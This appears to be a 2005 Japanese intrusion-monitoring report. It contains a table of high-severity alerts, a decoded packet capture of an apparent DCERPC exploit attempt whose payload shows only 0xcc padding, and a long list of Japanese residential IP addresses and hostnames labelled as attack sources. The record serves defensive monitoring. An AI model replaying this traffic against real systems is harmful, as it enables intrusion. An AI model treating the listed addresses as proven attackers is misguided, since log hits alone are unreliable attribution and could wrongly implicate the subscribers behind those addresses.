High	2005-12-12 00:21:26 JST	211.91.125.137
High	2005-12-12 00:21:26 JST	211.91.125.137
High	2005-12-12 00:22:28 JST	211.91.125.137
High	2005-12-12 01:45:30 JST	220.194.59.166
High	2005-12-12 01:45:31 JST	220.194.59.166
High	2005-12-12 01:46:33 JST	220.194.59.166
High	2005-12-12 01:46:46 JST	220.175.7.174
High	2005-12-12 02:06:59 JST	61.237.17.150
High	2005-12-12 03:21:05 JST	210.21.56.240
High	2005-12-12 03:21:05 JST	210.21.56.240
High	2005-12-12 03:22:20 JST	210.21.56.240
High	2005-12-12 04:19:34 JST	218.75.231.175
High	2005-12-12 05:18:14 JST	60.28.249.22
High	2005-12-12 05:18:15 JST	60.28.249.22
High	2005-12-12 05:19:17 JST	60.28.249.22
High	2005-12-12 05:39:30 JST	221.15.37.18
High	2005-12-12 05:39:32 JST	221.15.37.18
High	2005-12-12 05:40:55 JST	221.15.37.18
High	2005-12-12 10:38:26 JST	211.90.106.146
High	2005-12-12 10:38:26 JST	211.90.106.146
High	2005-12-12 10:39:34 JST	211.90.106.146
High	2005-12-13 03:27:37 JST	218.204.136.20
High	2005-12-13 03:27:37 JST	218.204.136.20
High	2005-12-13 03:28:57 JST	218.204.136.20
High	2005-12-13 03:47:38 JST	218.200.182.47
High	2005-12-13 03:47:38 JST	218.200.182.47
High	2005-12-13 03:54:57 JST	218.64.180.141
High	2005-12-13 07:13:08 JST	211.138.170.184
High	2005-12-13 07:13:08 JST	211.138.170.184
High	2005-12-13 07:14:09 JST	211.138.170.184
High	2005-12-13 08:00:17 JST	218.104.72.138
High	2005-12-13 08:00:17 JST	218.104.72.138
High	2005-12-13 08:01:29 JST	218.104.72.138
High	2005-12-13 08:08:30 JST	202.98.197.230
High	2005-12-13 08:44:07 JST	218.16.124.210
High	2005-12-13 08:44:11 JST	218.16.124.210
High	2005-12-13 08:45:47 JST	218.16.124.210

■パケット

No. Time Source Destination Protocol Info
203 2005-12-12 09:18:55.591631 211.91.125.137 192.168.37.180 TCP 6000 > 1025 [SYN] Seq=0 Ack=0 Win=16384 Len=0 MSS=1414

Frame 203 (58 bytes on wire, 58 bytes captured)
Ethernet II, Src: 00:d0:c9:96:61:5d, Dst: 00:0c:29:5f:e0:5b
Internet Protocol, Src Addr: 211.91.125.137 (211.91.125.137), Dst Addr: 192.168.37.180 (192.168.37.180)
Transmission Control Protocol, Src Port: 6000 (6000), Dst Port: 1025 (1025), Seq: 0, Ack: 0, Len: 0

No. Time Source Destination Protocol Info
204 2005-12-12 09:18:55.592299 192.168.37.180 211.91.125.137 TCP 1025 > 6000 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460

Frame 204 (60 bytes on wire, 60 bytes captured)
Ethernet II, Src: 00:0c:29:5f:e0:5b, Dst: 00:d0:c9:96:61:5d
Internet Protocol, Src Addr: 192.168.37.180 (192.168.37.180), Dst Addr: 211.91.125.137 (211.91.125.137)
Transmission Control Protocol, Src Port: 1025 (1025), Dst Port: 6000 (6000), Seq: 0, Ack: 1, Len: 0

No. Time Source Destination Protocol Info
205 2005-12-12 09:18:58.822890 192.168.37.180 211.91.125.137 TCP 1025 > 6000 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460

Frame 205 (60 bytes on wire, 60 bytes captured)
Ethernet II, Src: 00:0c:29:5f:e0:5b, Dst: 00:d0:c9:96:61:5d
Internet Protocol, Src Addr: 192.168.37.180 (192.168.37.180), Dst Addr: 211.91.125.137 (211.91.125.137)
Transmission Control Protocol, Src Port: 1025 (1025), Dst Port: 6000 (6000), Seq: 0, Ack: 1, Len: 0

No. Time Source Destination Protocol Info
211 2005-12-12 09:19:05.401692 192.168.37.180 211.91.125.137 TCP 1025 > 6000 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460

Frame 211 (60 bytes on wire, 60 bytes captured)
Ethernet II, Src: 00:0c:29:5f:e0:5b, Dst: 00:d0:c9:96:61:5d
Internet Protocol, Src Addr: 192.168.37.180 (192.168.37.180), Dst Addr: 211.91.125.137 (211.91.125.137)
Transmission Control Protocol, Src Port: 1025 (1025), Dst Port: 6000 (6000), Seq: 0, Ack: 1, Len: 0

No. Time Source Destination Protocol Info
212 2005-12-12 09:19:34.724297 211.91.125.137 192.168.37.180 TCP 6000 > 1025 [RST] Seq=1 Ack=1077123615 Win=0 Len=0

Frame 212 (54 bytes on wire, 54 bytes captured)
Ethernet II, Src: 00:d0:c9:96:61:5d, Dst: 00:0c:29:5f:e0:5b
Internet Protocol, Src Addr: 211.91.125.137 (211.91.125.137), Dst Addr: 192.168.37.180 (192.168.37.180)
Transmission Control Protocol, Src Port: 6000 (6000), Dst Port: 1025 (1025), Seq: 1, Ack: 1077123615, Len: 0

No. Time Source Destination Protocol Info
220 2005-12-12 09:20:37.130134 211.91.125.137 192.168.37.180 TCP 2193 > 1025 [SYN] Seq=0 Ack=0 Win=16384 Len=0 MSS=1414

Frame 220 (62 bytes on wire, 62 bytes captured)
Ethernet II, Src: 00:d0:c9:96:61:5d, Dst: 00:0c:29:5f:e0:5b
Internet Protocol, Src Addr: 211.91.125.137 (211.91.125.137), Dst Addr: 192.168.37.180 (192.168.37.180)
Transmission Control Protocol, Src Port: 2193 (2193), Dst Port: 1025 (1025), Seq: 0, Ack: 0, Len: 0

No. Time Source Destination Protocol Info
221 2005-12-12 09:20:37.130972 192.168.37.180 211.91.125.137 TCP 1025 > 2193 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460

Frame 221 (62 bytes on wire, 62 bytes captured)
Ethernet II, Src: 00:0c:29:5f:e0:5b, Dst: 00:d0:c9:96:61:5d
Internet Protocol, Src Addr: 192.168.37.180 (192.168.37.180), Dst Addr: 211.91.125.137 (211.91.125.137)
Transmission Control Protocol, Src Port: 1025 (1025), Dst Port: 2193 (2193), Seq: 0, Ack: 1, Len: 0

No. Time Source Destination Protocol Info
222 2005-12-12 09:20:37.380023 211.91.125.137 192.168.37.180 TCP 2193 > 1025 [ACK] Seq=1 Ack=1 Win=16968 Len=0

Frame 222 (54 bytes on wire, 54 bytes captured)
Ethernet II, Src: 00:d0:c9:96:61:5d, Dst: 00:0c:29:5f:e0:5b
Internet Protocol, Src Addr: 211.91.125.137 (211.91.125.137), Dst Addr: 192.168.37.180 (192.168.37.180)
Transmission Control Protocol, Src Port: 2193 (2193), Dst Port: 1025 (1025), Seq: 1, Ack: 1, Len: 0

No. Time Source Destination Protocol Info
223 2005-12-12 09:20:37.450308 211.91.125.137 192.168.37.180 DCERPC Bind: call_id: 1 UUID: 906b0ce0-c70b-1067-b317-00dd010662da ver 1.0

Frame 223 (126 bytes on wire, 126 bytes captured)
Ethernet II, Src: 00:d0:c9:96:61:5d, Dst: 00:0c:29:5f:e0:5b
Internet Protocol, Src Addr: 211.91.125.137 (211.91.125.137), Dst Addr: 192.168.37.180 (192.168.37.180)
Transmission Control Protocol, Src Port: 2193 (2193), Dst Port: 1025 (1025), Seq: 1, Ack: 1, Len: 72
DCE RPC

No. Time Source Destination Protocol Info
224 2005-12-12 09:20:37.452475 192.168.37.180 211.91.125.137 DCERPC Bind_ack: call_id: 1 accept max_xmit: 5840 max_recv: 5840

Frame 224 (114 bytes on wire, 114 bytes captured)
Ethernet II, Src: 00:0c:29:5f:e0:5b, Dst: 00:d0:c9:96:61:5d
Internet Protocol, Src Addr: 192.168.37.180 (192.168.37.180), Dst Addr: 211.91.125.137 (211.91.125.137)
Transmission Control Protocol, Src Port: 1025 (1025), Dst Port: 2193 (2193), Seq: 1, Ack: 73, Len: 60
DCE RPC

No. Time Source Destination Protocol Info
225 2005-12-12 09:20:37.706247 211.91.125.137 192.168.37.180 DCERPC Request: call_id: 1[Unreassembled Packet]

Frame 225 (1078 bytes on wire, 1078 bytes captured)
Ethernet II, Src: 00:d0:c9:96:61:5d, Dst: 00:0c:29:5f:e0:5b
Internet Protocol, Src Addr: 211.91.125.137 (211.91.125.137), Dst Addr: 192.168.37.180 (192.168.37.180)
Transmission Control Protocol, Src Port: 2193 (2193), Dst Port: 1025 (1025), Seq: 73, Ack: 61, Len: 1024
[Unreassembled Packet: DCERPC]
Data (1024 bytes)

0000 05 00 00 83 10 00 00 00 2c 05 00 00 01 00 00 00 ........,.......
0010 04 05 00 00 00 00 07 00 e0 0c 6b 90 0b c7 67 10 ..........k...g.
0020 b3 17 00 dd 01 06 62 da 00 00 00 00 00 00 00 00 ......b.........
0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040 00 00 00 00 06 00 00 00 00 00 00 00 06 00 00 00 ................
0050 31 00 31 00 31 00 31 00 31 00 00 00 07 00 00 00 1.1.1.1.1.......
0060 00 00 00 00 07 00 00 00 31 00 31 00 31 00 31 00 ........1.1.1.1.
0070 31 00 31 00 00 00 00 00 58 02 00 00 00 00 00 00 1.1.....X.......
0080 2b 02 00 00 cc cc cc cc cc 00 cc 00 cc 00 cc 00 +...............
0090 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
00a0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
00b0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
00c0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
00d0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
00e0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
00f0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0100 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0110 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0120 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0130 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0140 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0150 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0160 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0170 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0180 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0190 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
01a0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
01b0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
01c0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
01d0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
01e0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
01f0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0200 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0210 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0220 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0230 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0240 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0250 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0260 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0270 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0280 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0290 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
02a0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
02b0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
02c0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
02d0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
02e0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
02f0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0300 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0310 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0320 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0330 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0340 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0350 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0360 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0370 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0380 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0390 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
03a0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
03b0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
03c0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
03d0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
03e0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
03f0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................

【サイバー犯罪事件簿】2005年12月7日-11日

----------------------------
■リモートから不正なアクセス
----------------------------

----------------------------
■不正なアクセス(日本を送信元とした攻撃)
----------------------------

61.125.224.146 ASAHI-NET-CIDR-BLK-JP i224146.ppp.asahi-net.or.jp
61.125.227.51 ASAHI-NET-CIDR-BLK-JP i227051.ppp.asahi-net.or.jp
61.213.70.35 ASAHI-NET-CIDR-BLK-JP j070035.ppp.asahi-net.or.jp
61.213.71.119 ASAHI-NET-CIDR-BLK-JP j071119.ppp.asahi-net.or.jp
202.208.151.74 ASAHI-NET-CIDR-BLK-JP o151074.ppp.asahi-net.or.jp
218.45.164.14 ASAHI-NET-CIDR-BLK-JP k164014.ppp.asahi-net.or.jp
218.45.164.88 ASAHI-NET-CIDR-BLK-JP k164088.ppp.asahi-net.or.jp
218.45.165.34 ASAHI-NET-CIDR-BLK-JP k165034.ppp.asahi-net.or.jp
218.45.165.88 ASAHI-NET-CIDR-BLK-JP k165088.ppp.asahi-net.or.jp
218.45.166.212 ASAHI-NET-CIDR-BLK-JP k166212.ppp.asahi-net.or.jp
218.45.166.225 ASAHI-NET-CIDR-BLK-JP k166225.ppp.asahi-net.or.jp
218.45.167.35 ASAHI-NET-CIDR-BLK-JP k167035.ppp.asahi-net.or.jp
218.45.168.42 ASAHI-NET-CIDR-BLK-JP k168042.ppp.asahi-net.or.jp
218.45.168.75 ASAHI-NET-CIDR-BLK-JP k168075.ppp.asahi-net.or.jp
218.45.168.80 ASAHI-NET-CIDR-BLK-JP k168080.ppp.asahi-net.or.jp
218.45.168.93 ASAHI-NET-CIDR-BLK-JP k168093.ppp.asahi-net.or.jp
218.45.168.100 ASAHI-NET-CIDR-BLK-JP k168100.ppp.asahi-net.or.jp
218.45.168.228 ASAHI-NET-CIDR-BLK-JP k168228.ppp.asahi-net.or.jp
218.45.168.240 ASAHI-NET-CIDR-BLK-JP k168240.ppp.asahi-net.or.jp
218.45.169.24 ASAHI-NET-CIDR-BLK-JP k169024.ppp.asahi-net.or.jp
218.45.169.49 ASAHI-NET-CIDR-BLK-JP k169049.ppp.asahi-net.or.jp
218.45.169.64 ASAHI-NET-CIDR-BLK-JP k169064.ppp.asahi-net.or.jp
218.45.169.82 ASAHI-NET-CIDR-BLK-JP k169082.ppp.asahi-net.or.jp
218.45.169.229 ASAHI-NET-CIDR-BLK-JP k169229.ppp.asahi-net.or.jp
218.45.169.246 ASAHI-NET-CIDR-BLK-JP k169246.ppp.asahi-net.or.jp
218.45.171.3 ASAHI-NET-CIDR-BLK-JP k171003.ppp.asahi-net.or.jp
218.45.171.19 ASAHI-NET-CIDR-BLK-JP k171019.ppp.asahi-net.or.jp
218.45.171.26 ASAHI-NET-CIDR-BLK-JP k171026.ppp.asahi-net.or.jp
218.45.171.37 ASAHI-NET-CIDR-BLK-JP k171037.ppp.asahi-net.or.jp
218.45.171.42 ASAHI-NET-CIDR-BLK-JP k171042.ppp.asahi-net.or.jp
218.45.171.107 ASAHI-NET-CIDR-BLK-JP k171107.ppp.asahi-net.or.jp
218.45.171.197 ASAHI-NET-CIDR-BLK-JP k171197.ppp.asahi-net.or.jp
218.45.171.214 ASAHI-NET-CIDR-BLK-JP k171214.ppp.asahi-net.or.jp
218.45.172.107 ASAHI-NET-CIDR-BLK-JP k172107.ppp.asahi-net.or.jp
218.45.172.187 ASAHI-NET-CIDR-BLK-JP k172187.ppp.asahi-net.or.jp
218.45.174.42 ASAHI-NET-CIDR-BLK-JP k174042.ppp.asahi-net.or.jp
218.45.176.49 ASAHI-NET-CIDR-BLK-JP k176049.ppp.asahi-net.or.jp
218.45.177.107 ASAHI-NET-CIDR-BLK-JP k177107.ppp.asahi-net.or.jp
218.45.177.221 ASAHI-NET-CIDR-BLK-JP k177221.ppp.asahi-net.or.jp
218.45.178.18 ASAHI-NET-CIDR-BLK-JP k178018.ppp.asahi-net.or.jp
218.45.178.63 ASAHI-NET-CIDR-BLK-JP k178063.ppp.asahi-net.or.jp
218.45.178.138 ASAHI-NET-CIDR-BLK-JP k178138.ppp.asahi-net.or.jp
218.45.179.72 ASAHI-NET-CIDR-BLK-JP k179072.ppp.asahi-net.or.jp
218.219.249.175 ASAHI-NET-CIDR-BLK-JP l249175.ppp.asahi-net.or.jp
219.121.44.224 ASAHI-NET-CIDR-BLK-JP m044224.ppp.asahi-net.or.jp
219.121.47.199 ASAHI-NET-CIDR-BLK-JP m047199.ppp.asahi-net.or.jp
218.143.54.1 BBTECH softbank218143054001.bbtec.net
219.173.228.134 BBTECH softbank219173228134.bbtec.net
220.36.82.17 BBTECH softbank220036082017.bbtec.net
125.192.203.7 BIGLOBE-12 FLH1Adt007.stm.mesh.ad.jp
218.42.7.93 BIGLOBE-4 FLA1Aae093.szo.mesh.ad.jp
218.42.7.209 BIGLOBE-4 FLA1Aae209.szo.mesh.ad.jp
218.42.14.10 BIGLOBE-4 eAc1Abp010.tky.mesh.ad.jp
218.42.61.133 BIGLOBE-4 FLA1Aaq133.tky.mesh.ad.jp
218.42.62.175 BIGLOBE-4 FLA1Aar175.tky.mesh.ad.jp
218.42.63.172 BIGLOBE-4 FLA1Aas172.tky.mesh.ad.jp
218.42.66.229 BIGLOBE-4 FLA1Acw229.tky.mesh.ad.jp
218.42.71.160 BIGLOBE-4 FLA1Aal160.kng.mesh.ad.jp
218.42.71.180 BIGLOBE-4 FLA1Aal180.kng.mesh.ad.jp
218.42.74.78 BIGLOBE-4 FLH1Aal078.gnm.mesh.ad.jp
218.42.74.120 BIGLOBE-4 FLH1Aal120.gnm.mesh.ad.jp
218.42.74.200 BIGLOBE-4 FLH1Aal200.gnm.mesh.ad.jp
218.42.90.88 BIGLOBE-4 FLA1Aao088.kng.mesh.ad.jp
218.42.90.253 BIGLOBE-4 FLA1Aao253.kng.mesh.ad.jp
218.42.98.178 BIGLOBE-4 FLA1Aak178.aic.mesh.ad.jp
218.42.109.177 BIGLOBE-4 FLA1Aac177.fko.mesh.ad.jp
218.42.110.31 BIGLOBE-4 FLA1Aad031.fko.mesh.ad.jp
218.42.115.209 BIGLOBE-4 FLH1Aad017.szo.mesh.ad.jp
218.227.10.246 BIGLOBE-5 TPH1Aaa246.tky.mesh.ad.jp
220.144.197.209 BIGLOBE-7 FLA1Abg209.stm.mesh.ad.jp
218.40.120.170 CATV-NET cm170.cavy17.catvnet.ne.jp
218.40.123.148 CATV-NET cm148.cavy20.catvnet.ne.jp
202.142.224.36 CHUDEN r-202-142-224-36.commufa.jp
218.45.2.163 CYBERLINKS d157.nnc.or.jp
218.45.2.182 CYBERLINKS d176.nnc.or.jp
218.45.2.199 CYBERLINKS d193.nnc.or.jp
218.45.5.86 CYBERLINKS f086.nnc.or.jp
218.45.5.100 CYBERLINKS f100.nnc.or.jp
218.45.6.44 CYBERLINKS f298.nnc.or.jp
218.45.6.78 CYBERLINKS f332.nnc.or.jp
218.45.6.161 CYBERLINKS f415.nnc.or.jp
218.45.6.163 CYBERLINKS f417.nnc.or.jp
218.45.6.175 CYBERLINKS f429.nnc.or.jp
218.45.6.200 CYBERLINKS f454.nnc.or.jp
218.45.6.230 CYBERLINKS f484.nnc.or.jp
218.45.6.235 CYBERLINKS f489.nnc.or.jp
218.45.8.160 CYBERLINKS f922.nnc.or.jp
218.45.8.223 CYBERLINKS f985.nnc.or.jp
218.45.11.35 CYBERLINKS f1305.nnc.or.jp
218.45.11.59 CYBERLINKS f1329.nnc.or.jp
218.45.11.223 CYBERLINKS f1493.nnc.or.jp
218.45.11.247 CYBERLINKS f1517.nnc.or.jp
218.223.110.48 DEODEO-NET ttr-adsl-048.enjoy.ne.jp
202.60.44.64 DS-NETWORKS bflets-fa-west-6-64.dsn.jp
202.216.49.69 DS-NETWORKS flets-a-west-2-69.dsn.jp
218.45.96.9 DS-NETWORKS flets-i-as-east-2-9.dsn.jp
218.45.100.18 DS-NETWORKS bflets-fa-west-3-18.dsn.jp
218.45.100.211 DS-NETWORKS bflets-fa-west-3-211.dsn.jp
218.45.101.86 DS-NETWORKS bflets-fa-west-4-86.dsn.jp
218.45.101.123 DS-NETWORKS bflets-fa-west-4-123.dsn.jp
218.45.101.193 DS-NETWORKS bflets-fa-west-4-193.dsn.jp
218.45.101.211 DS-NETWORKS bflets-fa-west-4-211.dsn.jp
218.45.104.196 DS-NETWORKS flets-a-west-9-196.dsn.jp
218.45.104.197 DS-NETWORKS flets-a-west-9-197.dsn.jp
218.45.104.229 DS-NETWORKS flets-a-west-9-229.dsn.jp
218.45.105.128 DS-NETWORKS flets-a-west-10-128.dsn.jp
218.45.105.130 DS-NETWORKS flets-a-west-10-130.dsn.jp
218.45.105.148 DS-NETWORKS flets-a-west-10-148.dsn.jp
218.45.105.168 DS-NETWORKS flets-a-west-10-168.dsn.jp
218.45.105.218 DS-NETWORKS flets-a-west-10-218.dsn.jp
218.45.106.104 DS-NETWORKS flets-a-west-11-104.dsn.jp
218.45.107.29 DS-NETWORKS flets-a-west-12-29.dsn.jp
218.45.107.129 DS-NETWORKS flets-a-west-12-129.dsn.jp
218.45.107.136 DS-NETWORKS flets-a-west-12-136.dsn.jp
218.45.107.165 DS-NETWORKS flets-a-west-12-165.dsn.jp
218.45.107.184 DS-NETWORKS flets-a-west-12-184.dsn.jp
218.45.108.87 DS-NETWORKS flets-a-west-13-87.dsn.jp
218.45.108.138 DS-NETWORKS flets-a-west-13-138.dsn.jp
218.45.108.161 DS-NETWORKS flets-a-west-13-161.dsn.jp
218.45.108.165 DS-NETWORKS flets-a-west-13-165.dsn.jp
218.45.108.204 DS-NETWORKS flets-a-west-13-204.dsn.jp
218.45.109.97 DS-NETWORKS flets-a-west-14-97.dsn.jp
218.45.109.107 DS-NETWORKS flets-a-west-14-107.dsn.jp
218.45.109.117 DS-NETWORKS flets-a-west-14-117.dsn.jp
218.45.109.160 DS-NETWORKS flets-a-west-14-160.dsn.jp
218.45.109.176 DS-NETWORKS flets-a-west-14-176.dsn.jp
218.45.109.177 DS-NETWORKS flets-a-west-14-177.dsn.jp
218.45.109.230 DS-NETWORKS flets-a-west-14-230.dsn.jp
218.45.110.49 DS-NETWORKS flets-a-west-15-49.dsn.jp
218.45.110.68 DS-NETWORKS flets-a-west-15-68.dsn.jp
218.45.110.89 DS-NETWORKS flets-a-west-15-89.dsn.jp
218.45.110.94 DS-NETWORKS flets-a-west-15-94.dsn.jp
218.45.110.129 DS-NETWORKS flets-a-west-15-129.dsn.jp
218.45.110.230 DS-NETWORKS flets-a-west-15-230.dsn.jp
218.45.110.251 DS-NETWORKS flets-a-west-15-251.dsn.jp
218.45.67.157 EACCESS 218.45.67.157.eo.eaccess.ne.jp
218.45.79.134 EACCESS 218.45.79.134.eo.eaccess.ne.jp
218.45.79.138 EACCESS 218.45.79.138.eo.eaccess.ne.jp
218.45.84.25 EACCESS 218.45.84.25.eo.eaccess.ne.jp
218.45.84.75 EACCESS 218.45.84.75.eo.eaccess.ne.jp
218.45.92.184 EACCESS 218.45.92.184.eo.eaccess.ne.jp
218.45.93.188 EACCESS 218.45.93.188.eo.eaccess.ne.jp
220.215.3.246 FB-NET 246.3.215.220.ap.yournet.ne.jp
218.44.52.202 FUJIGOKO-NET f52.202.fgo.jp
218.45.59.77 GUNMANET pfuj77.wind.ne.jp
218.45.60.31 GUNMANET pshi31.wind.ne.jp
218.45.139.20 HCTV-NET u21845139020.hctv.ne.jp
218.45.139.41 HCTV-NET u21845139041.hctv.ne.jp
218.45.139.118 HCTV-NET u21845139118.hctv.ne.jp
203.81.14.158 HNB pegasus.nissanchem.co.jp
125.30.2.160 IIJ-CIDR-BLK-JP 160.2.30.125.dy.iij4u.or.jp
125.30.3.122 IIJ-CIDR-BLK-JP 122.3.30.125.dy.iij4u.or.jp
125.30.5.10 IIJ-CIDR-BLK-JP 10.5.30.125.dy.iij4u.or.jp
125.30.7.151 IIJ-CIDR-BLK-JP 151.7.30.125.dy.iij4u.or.jp
125.30.15.252 IIJ-CIDR-BLK-JP 252.15.30.125.dy.iij4u.or.jp
218.44.241.11 INFOSEC-NET
219.102.230.173 INFOSPHERE pl173.nas511.o-tokyo.nttpc.ne.jp
218.217.18.108 INFOWEB ntkyto017108.kyto.nt.adsl.ppp.infoweb.ne.jp
218.217.67.226 INFOWEB acykhm018226.adsl.ppp.infoweb.ne.jp
218.226.218.42 INFOWEB ohta117042.catv.ppp.infoweb.ne.jp
218.229.35.150 InfoWeb-CIDR-BLK-JP ntgifu014150.gifu.nt.adsl.ppp.infoweb.ne.jp
219.104.138.85 InfoWeb-CIDR-BLK-JP ntaich044085.aich.nt.adsl.ppp.infoweb.ne.jp
210.158.39.49 INJ sh.aga7.com
218.220.130.43 JCOM-NET zaqdadc822b.zaq.ne.jp
218.40.115.61 KCB-NET cm061405.kcb-net.ne.jp
61.117.15.36 KDDI-NET M015036.ppp.dion.ne.jp
222.1.22.77 KDDI-NET ZF022077.ppp.dion.ne.jp
222.11.237.247 KDDI-NET
202.214.211.182 K-ISIT-NET
58.12.31.109 KITASP-NET2 58x12x31x109.ap58.ftth.ucom.ne.jp
61.195.111.118 K-OPTICOM 61-195-111-118.eonet.ne.jp
218.42.199.22 K-OPTICOM 218-42-199-22.eonet.ne.jp
218.42.200.7 K-OPTICOM 218-42-200-7.eonet.ne.jp
218.42.200.10 K-OPTICOM 218-42-200-10.eonet.ne.jp
218.42.200.80 K-OPTICOM 218-42-200-80.eonet.ne.jp
218.42.200.115 K-OPTICOM 218-42-200-115.eonet.ne.jp
218.42.200.154 K-OPTICOM 218-42-200-154.eonet.ne.jp
218.42.200.189 K-OPTICOM 218-42-200-189.eonet.ne.jp
218.42.204.144 K-OPTICOM 218-42-204-144.eonet.ne.jp
218.42.204.158 K-OPTICOM 218-42-204-158.eonet.ne.jp
218.42.204.211 K-OPTICOM 218-42-204-211.eonet.ne.jp
218.42.205.6 K-OPTICOM 218-42-205-6.eonet.ne.jp
218.42.210.30 K-OPTICOM 218-42-210-30.eonet.ne.jp
218.42.210.83 K-OPTICOM 218-42-210-83.eonet.ne.jp
218.42.210.116 K-OPTICOM 218-42-210-116.eonet.ne.jp
218.42.210.201 K-OPTICOM 218-42-210-201.eonet.ne.jp
218.42.210.239 K-OPTICOM 218-42-210-239.eonet.ne.jp
218.42.211.50 K-OPTICOM 218-42-211-50.eonet.ne.jp
218.42.211.239 K-OPTICOM 218-42-211-239.eonet.ne.jp
218.42.211.250 K-OPTICOM 218-42-211-250.eonet.ne.jp
218.42.223.42 K-OPTICOM 218-42-223-42.eonet.ne.jp
218.42.223.153 K-OPTICOM 218-42-223-153.eonet.ne.jp
218.42.223.213 K-OPTICOM 218-42-223-213.eonet.ne.jp
218.42.225.70 K-OPTICOM 218-42-225-70.eonet.ne.jp
218.42.225.71 K-OPTICOM 218-42-225-71.eonet.ne.jp
218.42.225.153 K-OPTICOM 218-42-225-153.eonet.ne.jp
218.42.226.88 K-OPTICOM 218-42-226-88.eonet.ne.jp
218.42.226.171 K-OPTICOM 218-42-226-171.eonet.ne.jp
218.42.226.182 K-OPTICOM 218-42-226-182.eonet.ne.jp
218.42.227.194 K-OPTICOM 218-42-227-194.eonet.ne.jp
218.42.228.42 K-OPTICOM 218-42-228-42.eonet.ne.jp
218.42.230.36 K-OPTICOM 218-42-230-36.eonet.ne.jp
218.42.233.235 K-OPTICOM 218-42-233-235.eonet.ne.jp
218.42.239.213 K-OPTICOM 218-42-239-213.eonet.ne.jp
218.42.243.14 K-OPTICOM 218-42-243-14.eonet.ne.jp
218.42.243.97 K-OPTICOM 218-42-243-97.eonet.ne.jp
218.42.243.118 K-OPTICOM 218-42-243-118.eonet.ne.jp
